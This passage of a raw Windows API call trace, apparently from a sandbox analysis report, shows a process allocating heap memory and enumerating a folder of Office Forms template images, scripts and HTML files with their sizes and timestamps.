ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1910 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c11c8 [0078.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.752] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1930 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c12d0 [0078.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.753] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1950 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c13d8 [0078.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.754] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1970 [0078.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c14e0 [0078.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.755] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1990 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c15e8 [0078.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.755] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageSlice.gif", cAlternateFileName="")) returned 1 [0078.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac19b0 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c16f0 [0078.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.756] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac19d0 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c17f8 [0078.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.757] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac19f0 [0078.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c1900 [0078.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.758] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60975c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1388d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x856, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0078.759] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529685b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x612, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, 